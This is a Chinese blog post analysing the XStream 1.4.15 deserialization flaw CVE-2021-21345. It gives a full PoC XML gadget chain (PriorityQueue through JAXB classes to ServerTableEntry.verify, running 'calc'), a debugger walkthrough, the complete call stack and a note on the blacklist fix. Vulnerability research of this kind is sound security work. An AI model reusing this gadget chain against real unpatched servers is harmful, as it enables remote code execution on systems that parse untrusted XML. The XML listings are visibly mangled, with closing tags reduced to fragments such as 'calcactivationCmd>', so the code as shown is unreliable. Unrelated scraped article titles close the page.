• 『Java安全』XStream 1.4.15反序列化漏洞CVE-2021-21345复现与浅析


    漏洞简介

    一种绕过黑名单、触发PriorityQueue.readObject()造成RCE的姿势

    影响版本

    XStream ≤ 1.4.15

    pom.xml

    <dependencies>
            <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
            <dependency>
                <groupId>com.thoughtworks.xstream</groupId>
                <artifactId>xstream</artifactId>
                <version>1.4.15</version>
            </dependency>
    
            <!-- https://mvnrepository.com/artifact/xpp3/xpp3_min -->
            <dependency>
                <groupId>xpp3</groupId>
                <artifactId>xpp3_min</artifactId>
                <version>1.1.4c</version>
            </dependency>
    
        </dependencies>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    PoC

    <java.util.PriorityQueue serialization='custom'>
      <unserializable-parents/>
      <java.util.PriorityQueue>
        <default>
          <size>2size>
          <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
            <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
              <packet>
                <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                  <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                    <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                      <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                        <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                          <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntryjaxbType>
                          <uriProperties/>
                          <attributeProperties/>
                          <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                            <getter>
                              <class>com.sun.corba.se.impl.activation.ServerTableEntryclass>
                              <name>verifyname>
                              <parameter-types/>
                            getter>
                          inheritedAttWildcard>
                        bi>
                        <tagName/>
                        <context>
                          <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                            <outer-class reference='../..'/>
                          marshallerPool>
                          <nameList>
                            <nsUriCannotBeDefaulted>
                              <boolean>trueboolean>
                            nsUriCannotBeDefaulted>
                            <namespaceURIs>
                              <string>1string>
                            namespaceURIs>
                            <localNames>
                              <string>UTF-8string>
                            localNames>
                          nameList>
                        context>
                      bridge>
                    bridge>
                    <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                      <activationCmd>calcactivationCmd>
                    jaxbObject>
                  dataSource>
                message>
                <satellites/>
                <invocationProperties/>
              packet>
            indexMap>
          comparator>
        default>
        <int>3int>
        <string>javax.xml.ws.binding.attachments.inboundstring>
        <string>javax.xml.ws.binding.attachments.inboundstring>
      java.util.PriorityQueue>
    java.util.PriorityQueue>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59

    XStream怎么序列化和反序列化PriorityQueue?

    分析PoC之前先看看XStream是怎么对待PriorityQueue的:

    PriorityQueue继承了Serializable,因此使用的是SerializableConveter
    在这里插入图片描述
    因此在doMarshal和doUnMarshal时会调用write/readObject
    在这里插入图片描述
    在这里插入图片描述
    看PoC使用的是优先级队列,CC链的常客了,写一个demo看看XStream是怎么反序列化的

    package demo;
    
    import com.thoughtworks.xstream.XStream;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    
    public class PriorityQueueTest {
        public static void main(String[] args) {
            PriorityQueue queue = new PriorityQueue(new NothingComparator());
    
            queue.add(111);
            queue.add(222);
            queue.add(333);
    
            XStream xStream = new XStream();
            String str = xStream.toXML(queue);
            System.out.println(str);
        }
    
        public static class NothingComparator implements Comparator{
            @Override
            public int compare(Object o1, Object o2) {
                return 0;
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    输出:

    <java.util.PriorityQueue serialization="custom">
      <unserializable-parents/>
      <java.util.PriorityQueue>
        <default>
          <size>3size>
          <comparator class="demo.PriorityQueueTest$NothingComparator"/>
        default>
        <int>4int>
        <int>111int>
        <int>222int>
        <int>333int>
      java.util.PriorityQueue>
    java.util.PriorityQueue>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    可以看到:

    1. 标签属性serialization="custom"表明它实现了Serializable
    2. 表明不会序列化它的父类
    3. 标签下存储容量和标明拥有的Comparator对象
    4. 存储的元素自n后一个标签开始依次存储

    代码审计

    初步猜测

    PoC层次结构大致如下:

    PriorityQueue
      String
      String
      sun.awt.datatransfer.DataTransferer$IndexOrderComparator
        com.sun.xml.internal.ws.client.ResponseContext
          class com.sun.xml.internal.ws.api.message.Packet
            com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart
              com.sun.xml.internal.ws.message.JAXBAttachment
                com.sun.xml.internal.ws.db.glassfish.BridgeWrapper
                com.sun.corba.se.impl.activation.ServerTableEntry          
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    根据PoC猜测,触发点估计与CC一样:PriorityQueue.readObject()触发比较器compare方法

    在这里插入图片描述
    执行的命令存放在JAXBAttachment下的ServerTableEntry类属性jaxbObject中,这里也明确了属性名是activationCmd
    在这里插入图片描述
    触发命令执行的方法存在BridgeWrapper,注意这个,看名称和内容可以猜测:在这里调用反射触发ServerTableEntry.verify(),然后传入activationCmd完成exec
    在这里插入图片描述
    看一下这个verify,果然有命令执行,直接传参数即可

    在这里插入图片描述
    然后在Accessor的static类GetterSetterReflection找到一个get方法能够调用反射,就能和上面连在一起了

    在这里插入图片描述
    接下来分析是怎么调用到这个get方法的

    原理分析

    直接在PriorityQueue.readObject()打断点,SerializableConverter会调用支持反序列化类的readObject方法,接下来的过程分析过cc应该不陌生

    在这里插入图片描述
    来到IndexOrderComparator.compare()
    在这里插入图片描述
    compareIndices方法传参var0是ResponseContext,var1和var2是我们传入的两个类名字符串,会调用ResponseContext.get()
    在这里插入图片描述
    get方法要求字符串是javax.xml.ws.binding.attachments.inbound,否则就走不下去了

    在这里插入图片描述

    往下走会调用MessageWrapper.getAttachments()

    在这里插入图片描述
    MessageWrapper分发来到XMLMessage$XMLMultiPart.getAttachments()

    在这里插入图片描述
    调用JAXBAttachment.getInputStream(),此类实现了DataSource接口
    在这里插入图片描述

    来到writeTo方法,调用了this.bridge.marshal()

    在这里插入图片描述
    marshal方法传参,传入了ServerTableEntry里面存了命令,this是反射调用verify方法
    在这里插入图片描述
    进一步:传入bi和ServerTableEntry
    在这里插入图片描述
    write方法调用this.serializer.childAsXsiType()

    在这里插入图片描述
    调用ClassBeanInfoImpl.serializeURIs(),child对象刚好是命令
    在这里插入图片描述
    往下走,调用GetterSetterReflection.get()
    在这里插入图片描述
    getter获取了bean的verify方法,反射调用

    在这里插入图片描述
    ServerTableEntry.verify()直接命令执行了
    在这里插入图片描述

    POP链

    exec:347, Runtime (java.lang)
    verify:173, ServerTableEntry (com.sun.corba.se.impl.activation)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
    serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
    childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
    write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
    marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
    marshal:130, Bridge (com.sun.xml.internal.bind.api)
    marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
    writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
    asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
    getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
    getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
    getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
    getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
    get:111, ResponseContext (com.sun.xml.internal.ws.client)
    compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
    compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
    siftDownUsingComparator:721, PriorityQueue (java.util)
    siftDown:687, PriorityQueue (java.util)
    heapify:736, PriorityQueue (java.util)
    readObject:795, PriorityQueue (java.util)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
    doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
    unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
    convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
    convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
    convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
    convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
    start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
    unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
    unmarshal:1409, XStream (com.thoughtworks.xstream)
    unmarshal:1388, XStream (com.thoughtworks.xstream)
    fromXML:1282, XStream (com.thoughtworks.xstream)
    main:11, Main (OneFourFifteen)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    新版本修复分析

    1.4.16黑名单扩增

    在这里插入图片描述

    衍生漏洞

    官网公示的其他连号CVE都是相同的利用方法,只是触发对象和效果不同

    在这里插入图片描述

    参考

    https://x-stream.github.io/CVE-2021-21345.html

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://blog.csdn.net/Xxy605/article/details/126366158
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    一文看懂vue3单文件组件的语法糖<script setup>
    2024年CSP-J暑假冲刺训练营(2):排序
    【Pytorch Lighting】第 2 章:第一个深度学习模型起步
    如何使用CSS实现一个响应式图片幻灯片(Responsive Image Slider)效果?
    文件上传漏洞(CVE-2022-30887)
    静态/动态代理模式
    【资源监视器】设备占用,强制弹出移动硬盘
    对reduce理解,以及几种常见的应用场景
    [MySQL]-删库后恢复
    【云原生】Kubernetes资源配额+HPA+节点选择器+亲和性+污点
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/126366158